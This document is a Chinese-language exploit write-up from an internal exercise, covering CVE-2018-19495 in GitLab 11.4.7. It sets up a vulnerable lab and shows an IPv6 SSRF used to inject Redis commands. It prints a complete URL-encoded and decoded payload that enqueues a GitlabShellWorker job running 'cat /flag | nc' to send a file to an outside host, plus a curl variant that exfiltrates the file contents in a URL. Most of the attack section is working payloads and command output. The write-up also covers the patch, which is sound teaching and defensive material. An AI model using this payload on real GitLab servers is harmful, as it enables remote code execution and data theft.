GitLab SSRF(CVE-2018-19495)利用笔记
公司最近内部用这个漏洞做了一次攻击演练,该漏洞是 GitLab 11.4.x 之前版本存在一个 SSRF 漏洞,本次演练利用这个 SSRF 漏洞结合 Redis 去获得服务器上的 flag 文件。
漏洞公告请见:https://nvd.nist.gov/vuln/detail/CVE-2018-19495。
1. 漏洞环境配置
从 Docker 仓库里拉取有漏洞的镜像,并启动:
sudo docker pull gitlab/gitlab-ce:11.4.7-ce.0 sudo docker run -d -it -p 8080:80 -p 8022:22 -p 8443:443 --name gitlab docker.io/gitlab/gitlab-ce:11.4.7-ce.0
编辑配置文件:
sudo docker exec -it gitlab vim /etc/gitlab/gitlab.rb
配置如下选项:
gitlab_rails['gitlab_email_enabled'] = false # 为了不用 Email 注册 GitLab gitlab_rails['redis_host'] = "127.0.0.1" gitlab_rails['redis_port'] = 6379 redis['bind'] = '127.0.0.1' redis['port'] = 6379
然后重新构建配置:
sudo docker exec -it gitlab gitlab-ctl reconfigure
2. 漏洞分析
2.1. 触发漏洞
GitLab 新建仓库时支持导入远程的代码仓库,但在处理仓库地址时,虽然禁止了 127.0.0.1,却没有对 IPv6 地址做判断,因此可以将 127.0.0.1 转成 IPv6 地址,对 GitLab 服务器做 SSRF 攻击。
我们可以尝试一下,先在容器里安装 nc:
sudo docker exec -it gitlab apt install netcat
然后监听 1234 端口:
sudo docker exec -it gitlab nc -lp 1234
接着去 GitLab 系统上,选择“New project” > “Import project” > “Repo by URL”,并在“Git repository URL”填入:
http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test.git
回到监听的 nc 窗口,可以看到收到了数据:
GET /test.git/info/refs?service=git-upload-pack HTTP/1.1 Host: [0:0:0:0:0:ffff:127.0.0.1]:1234 User-Agent: git/2.18.1 Accept: */* Accept-Encoding: deflate, gzip Pragma: no-cache
2.2. 结合 Redis 利用漏洞
如果向 Redis 监听的端口直接发送的数据会被当作 Redis 命令执行,我们可以测试下:
$ sudo docker exec -it gitlab nc localhost 6379 set a 1 <- SET 命令设置键`a`的值 +OK get a <- GET 命令尝试获得键`a`的值 $1 1 <- 返回结果
所以可以利用这个 SSRF 漏洞向 Redis 发送命令,公开的 Payload 如下:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20192%2E168%2E178%2E21%201234%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
解码后如下:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec exec /ssrf.git
我们再次在 GitLab 容器里用 nc 监听个端口(此处为 1234),然后把上面的 Payload 里端口改成 nc 监听的,看看 nc 收到的数据长什么样:
$ sudo docker exec -it gitlab nc -lp 1234 01c0git-upload-pack / multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec exec /test.githost=[0:0:0:0:0:ffff:127.0.0.1]:1234
所以,如果 Redis 服务收到这段数据,就会当作多条 Redis 命令执行。
Payload 向 system_hook_push 队列中插入了 GitlabShellWorker 命令,GitlabShellWorker 实现位于 app/workers/gitlab_shell_worker.rb:
class GitlabShellWorker include ApplicationWorker include Gitlab::ShellAdapter def perform(action, *arg) gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend end end
传递对应的参数,等待 GitLab 取到这个任务并执行 shell:
[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"]
3. 修复方法
如果 Redis 和 GitLab 运行在一起,应当用 UNIX 域套接字通信,不要去暴露一个端口。
官方的修复补丁:https://gitlab.com/gitlab-org/gitlab-ce/commit/a9f5b22394954be8941566da1cf349bb6a179974。
补丁主要修复措施:
1、在请求地址以前,判断如果是 IPv6 地址,就转成 IPv4:
addrs_info = Addrinfo.getaddrinfo(uri.hostname, port, nil, :STREAM).map do |addr| addr.ipv6_v4mapped? ? addr.ipv6_to_ipv4 : addr end
2、判断 IP 地址是否为本地网络时,增加了 IPv6 的判断:
def validate_local_network!(addrs_info) return unless addrs_info.any? { |addr| addr.ipv4_private? || addr.ipv6_sitelocal? || addr.ipv6_unique_local? }
4. 关于这次演练
我第一个拿到 flag,赛后有同事发邮件说他用公开的 Payload 始终不成功,问我思路,以下为我的答复:
我没有 CTF 经验,所以我的思路不一定适合比赛。 首先拿到靶场环境,我看到是 GitLab 的时候并没有认为它一定是攻击入口点,因此先开 Nmap 扫它,同时查到 GitLab 版本,然后在网上找公开的漏洞。 然后我在 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018 找到一篇 CTF 题,并且版本和这次比赛的是一致,大概率就是和这次比赛有关了,所以把文章看了一篇,知道漏洞产生原因和利用方式。 接着就是把慢慢尝试给的 Payload,但没有成功。想想为什么没有数据发到监听的 nc 上?罗列一下大概就这些原因: 1、如果监听在外网服务器的,没收到数据包那有可能是靶场和外网互不相通; 2、如果监听在内网服务器的,那可能监听的服务器有防火墙,导致数据没收到; 3、以上都检查了,那是不是考虑下服务器上命令没有执行成功?给出的 Payload 命令:cat /flag | nc 192.168.178.21 1234,首先 cat 存在的可能性很大,那 nc 呢?不一定存在,所以把 nc 改成 curl、wget 试下呢,然后我发现改 curl 后 nc 收到数据了,所以说明这个 Payload 是可工作的,那就变形下:curl 服务器 IP:端口/?`cat /flag`,最后就得到 flag 了: GET /?flagf3269e73-0b8e-437a-8bb2-aba52f2946bc HTTP/1.1 Host: 10.255.4.170:1234 User-Agent: curl/7.59.0 Accept: */* 拿 flagf3269e73-0b8e-437a-8bb2-aba52f2946bc 去提交发现不对,想想应该不会有错,把前面“flag”字符串去掉后就提交成功了。